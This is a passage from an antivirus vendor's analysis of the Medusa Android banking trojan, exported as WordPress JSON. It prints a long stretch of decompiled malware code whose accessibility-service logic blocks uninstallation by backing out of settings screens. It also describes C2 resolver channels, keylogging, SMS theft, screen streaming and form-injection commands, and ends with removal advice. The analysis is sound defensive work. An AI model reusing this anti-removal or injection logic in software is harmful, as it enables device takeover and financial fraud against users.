style=\"color: #0000ff\">goto label_187;<\/span><\/p>\n<p dir=\"ltr\" style=\"text-align: justify\"><span style=\"color: #0000ff\">}<\/span><\/p>\n<p dir=\"ltr\" style=\"text-align: justify\"><span style=\"color: #0000ff\">case 0x2000: {<\/span><\/p>\n<p dir=\"ltr\" style=\"text-align: justify\"><span style=\"color: #0000ff\">goto label_184;<\/span><\/p>\n<p dir=\"ltr\" style=\"text-align: justify\"><span style=\"color: #0000ff\">}<\/span><\/p>\n<p dir=\"ltr\" style=\"text-align: justify\"><span style=\"color: #0000ff\">}<\/span><\/p>\n<p dir=\"ltr\" style=\"text-align: justify\"><span style=\"color: #0000ff\">goto label_188;<\/span><\/p>\n<p dir=\"ltr\" style=\"text-align: justify\"><span style=\"color: #0000ff\">label_184:<\/span><\/p>\n<p dir=\"ltr\" style=\"text-align: justify\"><span style=\"color: #0000ff\">a0 = this.b;<\/span><\/p>\n<p dir=\"ltr\" style=\"text-align: justify\"><span style=\"color: #0000ff\">s6 = &#8220;selchange&#8221;;<\/span><\/p>\n<p dir=\"ltr\" style=\"text-align: justify\"><span style=\"color: #0000ff\">label_187:<\/span><\/p>\n<p dir=\"ltr\" style=\"text-align: justify\"><span style=\"color: #0000ff\">a0.L(s1, s2, s6, s4, s5);<\/span><\/p>\n<p dir=\"ltr\" style=\"text-align: justify\"><span style=\"color: #0000ff\">}<\/span><\/p>\n<p dir=\"ltr\" style=\"text-align: justify\"><span style=\"color: #0000ff\">catch(Exception unused_ex) {<\/span><\/p>\n<p dir=\"ltr\" style=\"text-align: justify\"><span style=\"color: #0000ff\">}<\/span><\/p>\n<p dir=\"ltr\" style=\"text-align: justify\"><span style=\"color: #0000ff\">}<\/span><\/p>\n<p dir=\"ltr\" style=\"text-align: justify\"><span style=\"color: #0000ff\">label_188:<\/span><\/p>\n<p dir=\"ltr\" style=\"text-align: justify\"><span style=\"color: #0000ff\">if(SharedPrefManager.getInstance(this.getApplicationContext()).read(&#8220;lru0i1qkn5kdhxhsh9jayki7cddac&#8221;, false)) {<\/span><\/p>\n<p dir=\"ltr\" style=\"text-align: justify\"><span style=\"color: #0000ff\">this.performGlobalAction(8);<\/span><\/p>\n<p dir=\"ltr\" style=\"text-align: justify\"><span style=\"color: #0000ff\">}<\/span><\/p>\n<p dir=\"ltr\" style=\"text-align: justify\"><span style=\"color: #0000ff\">if(0x20 == accessibilityEvent0.getEventType()) {<\/span><\/p>\n<p dir=\"ltr\" style=\"text-align: justify\"><span style=\"color: #0000ff\">try {<\/span><\/p>\n<p dir=\"ltr\" style=\"text-align: justify\"><span style=\"color: #0000ff\">if(accessibilityEvent0.getPackageName() != null) {<\/span><\/p>\n<p dir=\"ltr\" style=\"text-align: justify\"><span style=\"color: #0000ff\">Set set0 = SharedPrefManager.getInstance(this.getApplicationContext()).readSet(&#8220;z8o563an47kaoxh8wpba&#8221;, null);<\/span><\/p>\n<p dir=\"ltr\" style=\"text-align: justify\"><span style=\"color: #0000ff\">if(set0 != null &amp;&amp; set0.size() != 0) {<\/span><\/p>\n<p dir=\"ltr\" style=\"text-align: justify\"><span style=\"color: #0000ff\">for(Object object13: set0) {<\/span><\/p>\n<p dir=\"ltr\" style=\"text-align: justify\"><span style=\"color: #0000ff\">if(!((String)object13).equals(accessibilityEvent0.getPackageName().toString() + &#8220;|&#8221;)) {<\/span><\/p>\n<p dir=\"ltr\" style=\"text-align: justify\"><span style=\"color: #0000ff\">continue;<\/span><\/p>\n<p dir=\"ltr\" style=\"text-align: justify\"><span style=\"color: #0000ff\">}<\/span><\/p>\n<p dir=\"ltr\" style=\"text-align: justify\"><span style=\"color: #0000ff\">this.performGlobalAction(2);<\/span><\/p>\n<p dir=\"ltr\" style=\"text-align: justify\"><span style=\"color: #0000ff\">}<\/span><\/p>\n<p dir=\"ltr\" style=\"text-align: justify\"><span style=\"color: #0000ff\">}<\/span><\/p>\n<p dir=\"ltr\" style=\"text-align: justify\"><span style=\"color: #0000ff\">}<\/span><\/p>\n<p dir=\"ltr\" style=\"text-align: justify\"><span style=\"color: #0000ff\">}<\/span><\/p>\n<p dir=\"ltr\" style=\"text-align: justify\"><span style=\"color: #0000ff\">catch(Exception unused_ex) {<\/span><\/p>\n<p dir=\"ltr\" style=\"text-align: justify\"><span style=\"color: #0000ff\">}<\/span><\/p>\n<p dir=\"ltr\" style=\"text-align: justify\"><span style=\"color: #0000ff\">try {<\/span><\/p>\n<p dir=\"ltr\" style=\"text-align: justify\"><span style=\"color: #0000ff\">Set set1 = SharedPrefManager.getInstance(this.getApplicationContext()).readSet(&#8220;azaasd5xxvn2ex9z&#8221;, null);<\/span><\/p>\n<p dir=\"ltr\" style=\"text-align: justify\"><span style=\"color: #0000ff\">if(set1 != null &amp;&amp; (set1.size() != 0 &amp;&amp; accessibilityEvent0.getPackageName() != null)) {<\/span><\/p>\n<p dir=\"ltr\" style=\"text-align: justify\"><span style=\"color: #0000ff\">Iterator iterator14 = set1.iterator();<\/span><\/p>\n<p dir=\"ltr\" style=\"text-align: justify\"><span style=\"color: #0000ff\">while(true) {<\/span><\/p>\n<p dir=\"ltr\" style=\"text-align: justify\"><span style=\"color: #0000ff\">label_204:<\/span><\/p>\n<p dir=\"ltr\" style=\"text-align: justify\"><span style=\"color: #0000ff\">if(!iterator14.hasNext()) {<\/span><\/p>\n<p dir=\"ltr\" style=\"text-align: justify\"><span style=\"color: #0000ff\">break;<\/span><\/p>\n<p dir=\"ltr\" style=\"text-align: justify\"><span style=\"color: #0000ff\">}<\/span><\/p>\n<p dir=\"ltr\" style=\"text-align: justify\"><span style=\"color: #0000ff\">Object object14 = iterator14.next();<\/span><\/p>\n<p dir=\"ltr\" style=\"text-align: justify\"><span style=\"color: #0000ff\">String s7 = (String)object14;<\/span><\/p>\n<p dir=\"ltr\" style=\"text-align: justify\"><span style=\"color: #0000ff\">if(!s7.contains(accessibilityEvent0.getPackageName().toString() + &#8220;|&#8221;)) {<\/span><\/p>\n<p dir=\"ltr\" style=\"text-align: justify\"><span style=\"color: #0000ff\">goto label_204;<\/span><\/p>\n<p dir=\"ltr\" style=\"text-align: justify\"><span style=\"color: #0000ff\">}<\/span><\/p>\n<p dir=\"ltr\" style=\"text-align: justify\"><span style=\"color: #0000ff\">this.e(s7.split(&#8220;\\\\|&#8221;)[1]);<\/span><\/p>\n<p dir=\"ltr\" style=\"text-align: justify\"><span style=\"color: #0000ff\">}<\/span><\/p>\n<p dir=\"ltr\" style=\"text-align: justify\"><span style=\"color: #0000ff\">}<\/span><\/p>\n<p dir=\"ltr\" style=\"text-align: justify\"><span style=\"color: #0000ff\">}<\/span><\/p>\n<p dir=\"ltr\" style=\"text-align: justify\"><span style=\"color: #0000ff\">catch(Exception unused_ex) {<\/span><\/p>\n<p dir=\"ltr\" style=\"text-align: justify\"><span style=\"color: #0000ff\">label_210:<\/span><\/p>\n<p dir=\"ltr\" style=\"text-align: justify\"><span style=\"color: #0000ff\">if(SharedPrefManager.getInstance(this.getApplicationContext()).read(&#8220;igi67lmk08olwncd&#8221;, false)) {<\/span><\/p>\n<p dir=\"ltr\" style=\"text-align: justify\"><span style=\"color: #0000ff\">try {<\/span><\/p>\n<p dir=\"ltr\" style=\"text-align: justify\"><span style=\"color: #0000ff\">String s8 = accessibilityEvent0.getPackageName().toString().toLowerCase();<\/span><\/p>\n<p dir=\"ltr\" style=\"text-align: justify\"><span style=\"color: #0000ff\">String s9 = accessibilityEvent0.getClassName().toString().toLowerCase();<\/span><\/p>\n<p dir=\"ltr\" style=\"text-align: justify\"><span style=\"color: #0000ff\">if((!s8.contains(&#8220;com.android.settings&#8221;) || accessibilityEvent0.getEventType() != 1 || !accessibilityEvent0.getText().toString().contains(this.getString(0x7F0F001E))) &amp;&amp; (!s8.contains(&#8220;com.android.packageinstaller&#8221;) &amp;&amp; !s8.contains(&#8220;com.google.android.packageinstaller&#8221;) || !AccessibilityControllerService.f(accessibilityEvent0.getSource(), 0, this.getString(0x7F0F001E)))) {<\/span><\/p>\n<p dir=\"ltr\" style=\"text-align: justify\"><span style=\"color: #0000ff\">if(s8.contains(&#8220;com.samsung.accessibility&#8221;)) {<\/span><\/p>\n<p dir=\"ltr\" style=\"text-align: justify\"><span style=\"color: #0000ff\">this.a();<\/span><\/p>\n<p dir=\"ltr\" style=\"text-align: justify\"><span style=\"color: #0000ff\">return;<\/span><\/p>\n<p dir=\"ltr\" style=\"text-align: justify\"><span style=\"color: #0000ff\">}<\/span><\/p>\n<p dir=\"ltr\" style=\"text-align: justify\"><span style=\"color: #0000ff\">if((s8.contains(&#8220;com.android.settings&#8221;)) &amp;&amp; (s9.contains(&#8220;android.app.alertdialog&#8221;)) &amp;&amp; (accessibilityEvent0.getText().toString().contains(this.getString(0x7F0F001E)))) {<\/span><\/p>\n<p dir=\"ltr\" style=\"text-align: justify\"><span style=\"color: #0000ff\">this.b();<\/span><\/p>\n<p dir=\"ltr\" style=\"text-align: justify\"><span style=\"color: #0000ff\">this.performGlobalAction(2);<\/span><\/p>\n<p dir=\"ltr\" style=\"text-align: justify\"><span style=\"color: #0000ff\">return;<\/span><\/p>\n<p dir=\"ltr\" style=\"text-align: justify\"><span style=\"color: #0000ff\">}<\/span><\/p>\n<p dir=\"ltr\" style=\"text-align: justify\"><span style=\"color: #0000ff\">if((s8.contains(&#8220;com.android.settings&#8221;)) || (s8.contains(&#8220;com.google.android.packageinstaller&#8221;))) {<\/span><\/p>\n<p dir=\"ltr\" style=\"text-align: justify\"><span style=\"color: #0000ff\">for(Object object15: this.getRootInActiveWindow().findAccessibilityNodeInfosByViewId(&#8220;com.android.settings:id\/entity_header_title&#8221;)) {<\/span><\/p>\n<p dir=\"ltr\" style=\"text-align: justify\"><span style=\"color: #0000ff\">if(!((AccessibilityNodeInfo)object15).getText().toString().contains(this.getString(0x7F0F001E))) {<\/span><\/p>\n<p dir=\"ltr\" style=\"text-align: justify\"><span style=\"color: #0000ff\">continue;<\/span><\/p>\n<p dir=\"ltr\" style=\"text-align: justify\"><span style=\"color: #0000ff\">}<\/span><\/p>\n<p dir=\"ltr\" style=\"text-align: justify\"><span style=\"color: #0000ff\">this.performGlobalAction(1);<\/span><\/p>\n<p dir=\"ltr\" style=\"text-align: justify\"><span style=\"color: #0000ff\">return;<\/span><\/p>\n<p dir=\"ltr\" style=\"text-align: justify\"><span style=\"color: #0000ff\">}<\/span><\/p>\n<p dir=\"ltr\" style=\"text-align: justify\"><span style=\"color: #0000ff\">for(Object object16: this.getRootInActiveWindow().findAccessibilityNodeInfosByViewId(&#8220;com.android.packageinstaller:id\/name&#8221;)) {<\/span><\/p>\n<p dir=\"ltr\" style=\"text-align: justify\"><span style=\"color: #0000ff\">if(!((AccessibilityNodeInfo)object16).getText().toString().contains(this.getString(0x7F0F001E))) {<\/span><\/p>\n<p dir=\"ltr\" style=\"text-align: justify\"><span style=\"color: #0000ff\">continue;<\/span><\/p>\n<p dir=\"ltr\" style=\"text-align: justify\"><span style=\"color: #0000ff\">}<\/span><\/p>\n<p dir=\"ltr\" style=\"text-align: justify\"><span style=\"color: #0000ff\">this.b();<\/span><\/p>\n<p dir=\"ltr\" style=\"text-align: justify\"><span style=\"color: #0000ff\">this.a();<\/span><\/p>\n<p dir=\"ltr\" style=\"text-align: justify\"><span style=\"color: #0000ff\">return;<\/span><\/p>\n<p dir=\"ltr\" style=\"text-align: justify\"><span style=\"color: #0000ff\">}<\/span><\/p>\n<p dir=\"ltr\" style=\"text-align: justify\"><span style=\"color: #0000ff\">for(Object object17: this.getRootInActiveWindow().findAccessibilityNodeInfosByViewId(&#8220;android:id\/alertTitle&#8221;)) {<\/span><\/p>\n<p dir=\"ltr\" style=\"text-align: justify\"><span style=\"color: #0000ff\">if(!((AccessibilityNodeInfo)object17).getText().toString().contains(this.getString(0x7F0F001E))) {<\/span><\/p>\n<p dir=\"ltr\" style=\"text-align: justify\"><span style=\"color: #0000ff\">continue;<\/span><\/p>\n<p dir=\"ltr\" style=\"text-align: justify\"><span style=\"color: #0000ff\">}<\/span><\/p>\n<p dir=\"ltr\" style=\"text-align: justify\"><span style=\"color: #0000ff\">this.b();<\/span><\/p>\n<p dir=\"ltr\" style=\"text-align: justify\"><span style=\"color: #0000ff\">this.a();<\/span><\/p>\n<p dir=\"ltr\" style=\"text-align: justify\"><span style=\"color: #0000ff\">return;<\/span><\/p>\n<p dir=\"ltr\" style=\"text-align: justify\"><span style=\"color: #0000ff\">}<\/span><\/p>\n<p dir=\"ltr\" style=\"text-align: justify\"><span style=\"color: #0000ff\">for(Object object18: this.getRootInActiveWindow().findAccessibilityNodeInfosByViewId(&#8220;com.android.settings:id\/app_name&#8221;)) {<\/span><\/p>\n<p dir=\"ltr\" style=\"text-align: justify\"><span style=\"color: #0000ff\">if(!((AccessibilityNodeInfo)object18).getText().toString().contains(this.getString(0x7F0F001E))) {<\/span><\/p>\n<p dir=\"ltr\" style=\"text-align: justify\"><span style=\"color: #0000ff\">continue;<\/span><\/p>\n<p dir=\"ltr\" style=\"text-align: justify\"><span style=\"color: #0000ff\">}<\/span><\/p>\n<p dir=\"ltr\" style=\"text-align: justify\"><span style=\"color: #0000ff\">this.b();<\/span><\/p>\n<p dir=\"ltr\" style=\"text-align: justify\"><span style=\"color: #0000ff\">this.a();<\/span><\/p>\n<p dir=\"ltr\" style=\"text-align: justify\"><span style=\"color: #0000ff\">return;<\/span><\/p>\n<p dir=\"ltr\" style=\"text-align: justify\"><span style=\"color: #0000ff\">}<\/span><\/p>\n<p dir=\"ltr\" style=\"text-align: justify\"><span style=\"color: #0000ff\">Iterator iterator19 = this.getRootInActiveWindow().findAccessibilityNodeInfosByText(this.getString(0x7F0F001B)).iterator();<\/span><\/p>\n<p dir=\"ltr\" style=\"text-align: justify\"><span style=\"color: #0000ff\">if(!iterator19.hasNext()) {<\/span><\/p>\n<p dir=\"ltr\" style=\"text-align: justify\"><span style=\"color: #0000ff\">goto label_246;<\/span><\/p>\n<p dir=\"ltr\" style=\"text-align: justify\"><span style=\"color: #0000ff\">}<\/span><\/p>\n<p dir=\"ltr\" style=\"text-align: justify\"><span style=\"color: #0000ff\">Object object19 = iterator19.next();<\/span><\/p>\n<p dir=\"ltr\" style=\"text-align: justify\"><span style=\"color: #0000ff\">AccessibilityNodeInfo accessibilityNodeInfo6 = (AccessibilityNodeInfo)object19;<\/span><\/p>\n<p dir=\"ltr\" style=\"text-align: justify\"><span style=\"color: #0000ff\">this.b();<\/span><\/p>\n<p dir=\"ltr\" style=\"text-align: justify\"><span style=\"color: #0000ff\">this.a();<\/span><\/p>\n<p dir=\"ltr\" style=\"text-align: justify\"><span style=\"color: #0000ff\">return;<\/span><\/p>\n<p dir=\"ltr\" style=\"text-align: justify\"><span style=\"color: #0000ff\">}<\/span><\/p>\n<p dir=\"ltr\" style=\"text-align: justify\"><span style=\"color: #0000ff\">label_246:<\/span><\/p>\n<p dir=\"ltr\" style=\"text-align: justify\"><span style=\"color: #0000ff\">if(!s8.equals(&#8220;com.google.android.packageinstaller&#8221;) || !s9.equals(&#8220;com.android.packageinstaller.permission.ui.managepermissionsactivity&#8221;)) {<\/span><\/p>\n<p dir=\"ltr\" style=\"text-align: justify\"><span style=\"color: #0000ff\">return;<\/span><\/p>\n<p dir=\"ltr\" style=\"text-align: justify\"><span style=\"color: #0000ff\">}<\/span><\/p>\n<p dir=\"ltr\" style=\"text-align: justify\"><span style=\"color: #0000ff\">for(Object object20: this.getRootInActiveWindow().findAccessibilityNodeInfosByText(this.getString(0x7F0F001E))) {<\/span><\/p>\n<p dir=\"ltr\" style=\"text-align: justify\"><span style=\"color: #0000ff\">if(!((AccessibilityNodeInfo)object20).getText().toString().contains(this.getString(0x7F0F001E))) {<\/span><\/p>\n<p dir=\"ltr\" style=\"text-align: justify\"><span style=\"color: #0000ff\">continue;<\/span><\/p>\n<p dir=\"ltr\" style=\"text-align: justify\"><span style=\"color: #0000ff\">}<\/span><\/p>\n<p dir=\"ltr\" style=\"text-align: justify\"><span style=\"color: #0000ff\">this.b();<\/span><\/p>\n<p dir=\"ltr\" style=\"text-align: justify\"><span style=\"color: #0000ff\">this.a();<\/span><\/p>\n<p dir=\"ltr\" style=\"text-align: justify\"><span style=\"color: #0000ff\">return;<\/span><\/p>\n<p dir=\"ltr\" style=\"text-align: justify\"><span style=\"color: #0000ff\">}<\/span><\/p>\n<p dir=\"ltr\" style=\"text-align: justify\"><span style=\"color: #0000ff\">}<\/span><\/p>\n<p dir=\"ltr\" style=\"text-align: justify\"><span style=\"color: #0000ff\">else {<\/span><\/p>\n<p dir=\"ltr\" style=\"text-align: justify\"><span style=\"color: #0000ff\">this.b();<\/span><\/p>\n<p dir=\"ltr\" style=\"text-align: justify\"><span style=\"color: #0000ff\">this.a();<\/span><\/p>\n<p dir=\"ltr\" style=\"text-align: justify\"><span style=\"color: #0000ff\">}<\/span><\/p>\n<p dir=\"ltr\" style=\"text-align: justify\"><span style=\"color: #0000ff\">}<\/span><\/p>\n<p dir=\"ltr\" style=\"text-align: justify\"><span style=\"color: #0000ff\">catch(Exception unused_ex) {<\/span><\/p>\n<p dir=\"ltr\" style=\"text-align: justify\"><span style=\"color: #0000ff\">}<\/span><\/p>\n<p dir=\"ltr\" style=\"text-align: justify\"><span style=\"color: #0000ff\">}<\/span><\/p>\n<p dir=\"ltr\" style=\"text-align: justify\"><span style=\"color: #0000ff\">return;<\/span><\/p>\n<p dir=\"ltr\" style=\"text-align: justify\"><span style=\"color: #0000ff\">}<\/span><\/p>\n<p dir=\"ltr\" style=\"text-align: justify\"><span style=\"color: #0000ff\">}<\/span><\/p>\n<p dir=\"ltr\" style=\"text-align: justify\"><span style=\"color: #0000ff\">goto label_210;<\/span><\/p>\n<p dir=\"ltr\" style=\"text-align: justify\"><span style=\"color: #0000ff\">}<\/span><\/p>\n<p dir=\"ltr\" style=\"text-align: justify\"><span style=\"color: #0000ff\">}<\/span><\/p>\n<p dir=\"ltr\" style=\"text-align: justify\"><span style=\"color: #0000ff\">goto label_45;<\/span><\/p>\n<p dir=\"ltr\" style=\"text-align: justify\"><span style=\"color: #0000ff\">}<\/span><\/p>\n<p style=\"text-align: justify\">The addresses of the support channels on Telegram and ICQ Messenger, which are used to receive the Command and Control (C2) server of the malware (cincincintopcin[.]info), are stored in the following variable, called within the service:<\/p>\n<p style=\"text-align: left\"><em> SCAN_URL_LIST (&#8220;<span style=\"color: #0000ff\">https[:]\/\/t.me\/unkppapeppappe<\/span>&#8220;, &#8220;<span style=\"color: #0000ff\">https[:]\/\/icq.im\/AoLH58xYS0_leBOpXFI&#8221;<\/span>, &#8220;<span style=\"color: #0000ff\">https[:]\/\/t.me\/unk22k2k2k2<\/span>&#8220;)<\/em><\/p>\n<p style=\"text-align: justify\"><span style=\"color: #ff00ff\"><strong>\u25aa\ufe0ft method<\/strong><\/span><br \/>\nIn this method, the malware executes a series of commands to compromise the victim&#8217;s device. These commands include actions such as:<br \/>\n\u2022 Capturing screenshots<br \/>\n\u2022 Activating the keylogger<br \/>\n\u2022 Enabling or disabling the screen lock<br \/>\n\u2022 Installing or uninstalling specific applications<br \/>\n\u2022 Sending SMS messages<br \/>\n\u2022 Copying or modifying clipboard contents<br \/>\n\u2022 Accessing user contacts<br \/>\n\u2022 Initiating calls to specific numbers<br \/>\n\u2022 Modifying the device\u2019s security settings<\/p>\n<p style=\"text-align: justify\">The malware\u2019s target is to manipulate the security configuration and settings of the victim\u2019s mobile device upon receiving the corresponding C2 command.<\/p>\n<p style=\"text-align: justify\">For instance, if the C2 command is \u201cfillfocus,\u201d the malware performs the following actions:<br \/>\nThe malware can inject text into the currently focused input field in the user interface. This targeted field is where the user is actively entering data. By abusing the AccessibilityService, the malware replaces the active input field with text provided by the attacker. The value 2097152 (or 0x200000) corresponds to the ACTION_ARGUMENT_SET_TEXT operation, which facilitates the injection of the attacker&#8217;s text into the focused input field.<br \/>\nThis capability is commonly used in Automated Transaction System (ATS) attacks, where the malware simulates user interactions to perform unauthorized actions, such as filling out forms or sending financial transactions. For example, during a bank transfer, the malware could replace the intended recipient&#8217;s bank account number with one controlled by the attacker.<\/p>\n<p style=\"text-align: justify\"><img loading=\"lazy\" decoding=\"async\" class=\" wp-image-4333 aligncenter\" src=\"http:\/\/threats.amnpardaz.com\/wp-content\/uploads\/sites\/2\/2025\/01\/5-\u0645\u062a\u062f-t.png\" alt=\"\u0645\u062a\u062f t\" width=\"1211\" height=\"348\" \/><\/p>\n<h4 style=\"text-align: justify\"><span style=\"color: #339966\">? DisplayServiceJava Service<\/span><\/h4>\n<p style=\"text-align: justify\">The DisplayServiceJava service is related to screen sharing or live streaming. This functionality enables the malware to broadcast multimedia content or monitor the device&#8217;s display in real-time. It encompasses various components that deal with media playback, audio recording, and network streaming. This service is a part of the malware&#8217;s broader unauthorized surveillance and remote control toolkit.<\/p>\n<p style=\"text-align: justify\"><span style=\"color: #ff00ff\"><strong>\u25aa\ufe0fonStartCommand Method<\/strong><\/span><\/p>\n<p style=\"text-align: justify\">In this method, the malware initiates screen recording or streaming, with potential audio recording capabilities. It retrieves configuration parameters from the intent0 object, including the endpoint, screen resolution (height), frames per second (FPS), bitrate, DPI, and audio settings. These parameters govern both video and audio quality, as well as the display characteristics during screen recording. The malware then configures the necessary display and audio settings required for recording or playback.<br \/>\nNext, the malware verifies if the conditions are suitable to commence recording. It initializes Android system components, such as MediaProjection (an API used for screen capture), and sets up a virtual display. Additionally, it instantiates a supplementary class (x2.a) to facilitate screen capture. If audio recording is enabled, the malware synchronizes audio recording with screen capture.<\/p>\n<p style=\"text-align: justify\">Finally, the malware checks if the streaming endpoint (represented by displayServiceJava0.a) is a valid URL. If valid, it parses and validates key components of the URL, such as the protocol, host, and port, against predefined values. Once all configurations are validated, it triggers a background service to handle the recording or playback process.<\/p>\n<p style=\"text-align: justify\"><span style=\"color: #ff00ff\">\u25aa\ufe0f\u00a0<strong>PhoneStateReceiver<\/strong><\/span><\/p>\n<p style=\"text-align: justify\">Within the onReceive method, the malware listens for incoming SMS messages. It first verifies that the action intent corresponds to the receipt of an SMS message and that SMS tracking is enabled within the device\u2019s settings. Upon confirmation, the malware retrieves message details, including the sender&#8217;s phone number and the full message content. It then invokes a method (referred to as the N method) to record or process the SMS data (including sender, content, and timestamp). This receiver is designed to track, log, and store SMS messages once the device enters an active state.<\/p>\n<h3 style=\"text-align: justify\">Malware Techniques<\/h3>\n<p style=\"text-align: justify\">Upon execution, the malware hides its icon from the user interface. Additionally, in method a, as illustrated in the image below, the malware acts as a shortcut to return the user to the home screen. This functionality can be exploited to exit an application or user interface (UI) and redirect the user to the device&#8217;s default home screen.<br \/>\nThe flag 268435456 corresponds to Intent.FLAG_ACTIVITY_NEW_TASK, which is a necessary flag for launching a new activity outside the current task stack. This flag ensures that the destination activity (in this case, the main screen or home page) is initiated properly. The malware utilizes FLAG_ACTIVITY_NEW_TASK to facilitate the redirection to the home screen, ensuring that the change occurs even if the request originates from a service or component external to the activity context.<\/p>\n<p style=\"text-align: justify\">In method b, the malware invokes the performGlobalAction(1) method four times in a loop, simulating the &#8220;back&#8221; button action on the device. By emulating the back button, the malware can forcefully exit an application or navigate away from sensitive screens, such as the phone&#8217;s settings, where the user might otherwise be unable to remove the malware from the device.<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\" wp-image-4334 aligncenter\" src=\"http:\/\/threats.amnpardaz.com\/wp-content\/uploads\/sites\/2\/2025\/01\/6-\u062a\u06a9\u0646\u06cc\u06a9-\u0628\u0642\u0627\u06cc-\u0628\u062f\u0627\u0641\u0632\u0627\u0631.png\" alt=\"\u062a\u06a9\u0646\u06cc\u06a9\u200c\u0647\u0627\u06cc \u0628\u062f\u0627\u0641\u0632\u0627\u0631\" width=\"857\" height=\"508\" \/><\/p>\n<h2 style=\"text-align: justify\">How to deal with and clean the system<\/h2>\n<p style=\"text-align: justify\">To ensure that the device is not infected, it is recommended to install Padvish Antivirus, keep its virus definition database up-to-date, and run a full system scan.<\/p>\n<h4 style=\"text-align: justify\">Methods to Prevent Mobile Device Compromise:<\/h4>\n<ul>\n<li style=\"text-align: justify\">When installing apps, scrutinize the permissions they request. Be cautious if an app requests permissions unrelated to its functionality, particularly accessibility service permissions.<\/li>\n<li style=\"text-align: justify\">Ensure your mobile device&#8217;s operating system and apps are regularly updated, preferably with automatic updates enabled.<\/li>\n<li style=\"text-align: justify\">Do not download or install apps from unverified or unofficial sources.<\/li>\n<li style=\"text-align: justify\">Continuously back up critical data to secure locations.<\/li>\n<li style=\"text-align: justify\">Only install official, unmodified app versions to minimize exposure to malware.<\/li>\n<\/ul>\n","protected":false},"excerpt":{"rendered":"<p>Overview Type: Trojan Destruction level: Medium Prevalence: Medium Malware Names (Padvish) Trojan.Android.Medusa.V3 (Kaspersky) HEUR:Trojan-Dropper.AndroidOS.Hqwar.hs (Avira) ANDROID\/Bankbot.FSJP.Gen (ESET) A Variant Of Android\/TrojanDropper.Agent.MES What is Trojan? A Trojan is a type of malware that masquerades as legitimate software, presenting itself as functional and benign. However, once executed, it performs malicious actions that can cause significant damage to&hellip;<\/p>\n","protected":false},"author":27,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[2],"tags":[43,88],"class_list":["post-1611","post","type-post","status-publish","format-standard","hentry","category-trojan","tag-trojan","tag-trojan-android-medusa-v3"],"_links":{"self":[{"href":"https:\/\/threats.amnpardaz.com\/en\/wp-json\/wp\/v2\/posts\/1611","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/threats.amnpardaz.com\/en\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/threats.amnpardaz.com\/en\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/threats.amnpardaz.com\/en\/wp-json\/wp\/v2\/users\/27"}],"replies":[{"embeddable":true,"href":"https:\/\/threats.amnpardaz.com\/en\/wp-json\/wp\/v2\/comments?post=1611"}],"version-history":[{"count":1,"href":"https:\/\/threats.amnpardaz.com\/en\/wp-json\/wp\/v2\/posts\/1611\/revisions"}],"predecessor-version":[{"id":1612,"href":"https:\/\/threats.amnpardaz.com\/en\/wp-json\/wp\/v2\/posts\/1611\/revisions\/1612"}],"wp:attachment":[{"href":"https:\/\/threats.amnpardaz.com\/en\/wp-json\/wp\/v2\/media?parent=1611"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/threats.amnpardaz.com\/en\/wp-json\/wp\/v2\/categories?post=1611"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/threats.amnpardaz.com\/en\/wp-json\/wp\/v2\/tags?post=1611"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}